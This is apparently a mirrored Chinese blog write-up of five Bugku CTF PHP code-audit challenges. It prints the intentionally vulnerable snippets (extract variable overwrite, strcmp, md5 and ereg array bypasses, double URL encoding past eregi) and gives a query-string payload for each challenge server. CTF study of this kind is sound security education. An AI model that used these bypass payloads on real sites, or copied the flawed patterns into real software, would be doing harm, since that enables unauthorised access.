zoukankan      html  css  js  c++  java
  • Bugku | 审计

    审计1 | extract变量覆盖

    <?php
    $flag='xxx';
    extract($_GET); 
    if(isset($shiyan))
    {
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
    echo'flag{xxx}';
    }
    else
    {
    echo'Oh.no';
    }
    }
    ?>
    

    涉及知识:extract()

    extract(array,extract_rules,prefix)
    对于数组中的每个元素,键名用于变量名,键值用于变量值。
    第二个参数 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
    本函数返回成功设置的变量数目。
    可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中的变量名是否冲突。
    
    对非法、数字和冲突的键名的处理将根据此参数决定。可以是以下值之一:
    
    extract_rules可能的值:
    
        EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
        EXTR_SKIP - 如果有冲突,不覆盖已有的变量。(忽略数组中同名的元素) 
        EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。自 PHP 4.0.5 起,这也包括了对数字索引的处理。 
    prefix可选。请注意 prefix 仅在 extract_type 的值是 EXTR_PREFIX_SAME,EXTR_PREFIX_ALL,EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。
    
    前缀和数组键名之间会自动加上一个下划线。
    
    e.g.1
     
    <?php 
    $a = 'Original'; 
    $my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); 
    extract($my_array); 
    echo "$a = $a; $b = $b; $c = $c"; 
    ?> 
    $a = Cat;//默认下的覆盖,当变量名冲突时
    $b = Dog;
    $c = Horse
    
    <?php
    extract($_POST);
    //相当于$username = $_POST['username'];
    //$password = $_POST['password'];
    ?> 
    

    思路:GET请求 ?flag=&shiyan=,extract()会将$flag和$shiyan的值覆盖了,将变量的值设置为空或者不存在的文件就满足$shiyan == $content。

    $flag是一个目录,最终比较的是$shiyan 和 $content 的内容=>payload:http://123.206.87.240:9009/1.php?flag=&shiyan=

    参考:

    https://www.freebuf.com/column/150731.html

    审计二 | strcmp比较字符串

    <?php
    $flag = "flag{xxxxx}";
    if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    //比较两个字符串(区分大小写)
    die('Flag: '.$flag);
    else
    print 'No';
    }
    ?>
    

    在PHP 5.3版本以上的strcmp()有一个bypass漏洞,strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制

    payload:http://123.206.87.240:9009/6.php?a[]=

    审计三 | urldecode 二次编码

    
    <?php
    if(eregi("hackerDJ",$_GET[id])) {
    echo("
    
    not allowed!
    ");
    exit();
    }
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
    echo "
    
    Access granted!
    ";
    echo "
    
    flag
    ";
    }
    ?>
    
    
    

    绕过eregi(),字符匹配(不区分大小写),J对应ASCLL:0x4A,在编码%254A,第一次有浏览器解码成%4A,之后再解码函数解码

    payload:http://123.206.87.240:9009/10.php?id=hackerD%254A

    审计四 | md5()函数

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
    print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
    die('Flag: '.$flag);
    else
    print 'Invalid password';
    }
    ?>
    
    
    

    md5不能处理数组。

    payload:?username[]=1&password[]=2

    审计5 | 数组返回NULL

    <?php
    $flag = "flag";
    
    if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    echo 'You password must be alphanumeric';
    else if (strpos ($_GET['password'], '--') !== FALSE)
    die('Flag: ' . $flag);
    else
    echo 'Invalid password';
    }
    ?>
    
    “[A-Za-z0-9]"
    方括号表示字符集,[A-Za-z0-9]匹配大小写字母和数字其中一个字符
    "^[A-Za-z0-9]$"
    ^表示字符串开始,$表示字符串结束 ,这个匹配只有一个大小写字母和数字字符的字符串
    
    “^[A-Za-z0-9]+$"
    +号表示重复1到多次,匹配由多个数字大小字母组成的字符串
     ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的
    strpos()的参数不能为数组,否则返回NULL,而判断用的是 !== ,所以这里的条件成立,也能得到flag
    
    
    

    something about url

    https://chromium.googlesource.com/chromium/src/+/master/docs/security/url_display_guidelines/url_display_guidelines.md#Escaping

  • 相关阅读:
    第五周反向传播算法
    PHP数组排序
    <meta-data>
    Android之Intent
    Fragment生命周期
    前端后台学习笔记汇杂
    IntelliJ IDEA 14.x 与 Tomcat 集成,创建并运行Java Web项目
    用java将excel中数据导入mysql
    幸运观众抽奖
    JTextField
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/13129078.html
Copyright © 2011-2022 走看看